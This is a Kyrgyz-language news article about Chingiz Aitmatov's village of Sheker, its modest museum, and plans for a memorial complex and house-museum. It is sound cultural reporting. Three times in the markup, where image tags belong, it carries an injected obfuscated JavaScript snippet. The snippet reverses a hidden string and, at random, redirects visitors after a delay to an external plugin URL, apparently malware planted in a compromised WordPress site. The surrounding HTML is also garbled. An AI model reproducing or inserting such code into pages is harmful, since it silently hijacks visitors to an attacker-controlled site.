Чыңгыз Айтматов дегенде Шекер айылы эске түшөт. Анткени Айтматов өз айылын анын каармандары менен бүт ааламга таанытты. Дүйнөдө өз айылына мынчалык атак-даңк алып келген эч ким жок болсо керек. Биз Габриэль Маркести колумбиялык жазуучу деп билебиз. Бирок анын айылын билбейбиз. Азыр анын балалыгы өткөн үйү музейге айланган. Ал жерге Шекерге келгендей эл агылып келеби жокпу айта албайм. А Шекерге Батыш менен Чыгыштан Айтматовдун окурмандары агылып келе берет, келе берет. Ошондой туристтердин бири атайын Швециядан Шекерге келип Айтматовдун музейин көрүп жүрүп көзүнө жаш алган экен. Ким билет, ал ошончо арзып, алыстан келип Айтматовдун айылын көргөнгө өрөпкүп ыйладыбы же атайын келген Шекеринен Айтматовдун ааламын көрө албай көкүрөк боштугунан ызага буулукту бекен?..
Көргөзмөдөн музейге карай жол
Шекер айылындагы Күркүрөө маданият үйүнүн алдындагы бир бөлмөнү ээлеген Айтматовдун музейи 1978-жылы улуу жазуучунун 50 жылдыгына карата көргөзмө болуп ачылып, азыркыга чейин дээрлик эч нерсеси өзгөрбөй ошол бойдон турат. Ошондо коюлган экспонаттарга 42 жыл болуптур. Ал жерде Айтматовдун жеке буюмдарынан бир пальтосу, анан бир столу, кол машинкасы коюлган. Калганы бүт рамкага салынган сүрөттөрдөн турат. Музей дегенибиз менен мыйзамдуу түрдө музей статусу жок. Улуу Айтматовдун көзү өткөндөн кийин да ал жерге мамлекет тарабынан эч бир көңүл бурулган эмес. Учурда айылдын намыскөй уулдарынын бири Сейдакбар Исматаев тарабынан Айтматовдун Маданият үйүндөгү музейин кеңейтүү жана музей статусун берүү аракети көрүлүүдө. Ал 2015-жылдан бери “Чынгыз ордо” коомдук бирикмесинин коомдук башталыштагы генералдык директору болуп саналат.
{if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>too.kg/wp-content/uploads/2021/04/shesh.jpg» alt=»» class=»wp-image-5764 size-full»/></figure><div class=)
Сейдакбар Исматаев
{if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>too.kg/wp-content/uploads/2021/04/rpp.jpg» alt=»» data-id=»5765″ class=»wp-image-5765″/></figure></li></ul></figure>
<p></p>
<p><strong>Башталган иштин уландысы бар</strong></p>
<p>Айтматовдун “Ачык асман алдындагы музейи” деп аталган жерге эми<strong> “</strong>Чыңгыз ордо” комплекси түшөт. Бирок ушунча жер аянты бөлүнсө да азырынча долбоор боюнча анда Айтматовдун 5 метрлик эстелиги жана ага кирип бараткан 200 метрдей жол жээктерине Айтматовдун каармандарынын эстелиги курулмакчы болуп жатат. Бул иштер 95 жылдыгына карата толук бүтүп, иштеп калса да жаман эмес. Комплексти куруу боюнча конкурс жарыяланганда ага чейин комплекс боюнча даярдалып келген долбоордун автору 2 күн кечигип катыша албай калган. Ал долбоор боюнча комплексте 8 объект курулмак. Анда мейманкана, конференц-зал, музей имараты да камтылган. Тилекке каршы, ал долбоор катышпай калды. Бирок азыркы иштер бүтө берсе бөлүнгөн аянтка кошумча курулуштарды куруу келечектин иши деп ишенем. Анткени айылдагы совет мезгилинде курулган маданият үйүнөн берилген аянт Айтматовдун масштабына сыйбайт жана заман талабына да туура келбейт. Шекерди Айтматовдун айылы катары да туристтик жайга айландырууга толук шарт бар. Музейге келгендер Айтматовдун чыгармаларындагы жерлерге кызыкканын, атүгүл Маймак станциясы кайда деп сурагандар да болгонун музейде мурда иштеген Анара эже айткан эле.</p>
<p></p>
<figure class=)
{if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>too.kg/wp-content/uploads/2021/04/1476156226_img_5308.jpg» alt=»» class=»wp-image-5767″/></figure>
<p><strong>Үй-музейин жасоо изги иш</strong></p>
<p>Мен үчүн өзгөчө кубанычтуу болгон нерсе Айтматовдун балалыгы өткөн үйдүн жанына эскиче үй куруп, ал жерди Айтматовдун үй-музейине айландыруу маселеси чечилип жатыптыр. Бул туурасында мен жогоруда айткан макалаларымда жазган элем. Айтматовдун Досалы жездесинин балдары жашаган үй күркүрөп аккан Күркүрөө суусунун дабышы угулуп турган дөңчө жерде болчу. Эми, буюрса ошол жерде үй-музей курулуп, келген туристтерди жүзүбүз жарык тосо алабыз. Чындыгында Шекерге келген туристтерге Айтматовдун балалыгы өткөн үйдү көрсөтө албасак, анда кантип Шекер анын айылы деп айта алабыз? Ордо курулап жаткан жерге жакын аймакта кадимки Ысмайыл жашынган үңкүр, Дүйшөндүн мектеби, “Чыңгыз булак<strong>” </strong> жана башка Айтматовдун чыгармаларындагы жерлер боюнча туристтик маршруттарды түзүп койсок туристтер үчүн да, өзүбүз үчүн да жакшы иш кылган болор элек.</p>
<p><strong>Бегим ТУРДАЛИЕВА</strong></p>
</div><!-- .entry-content -->
<footer class=)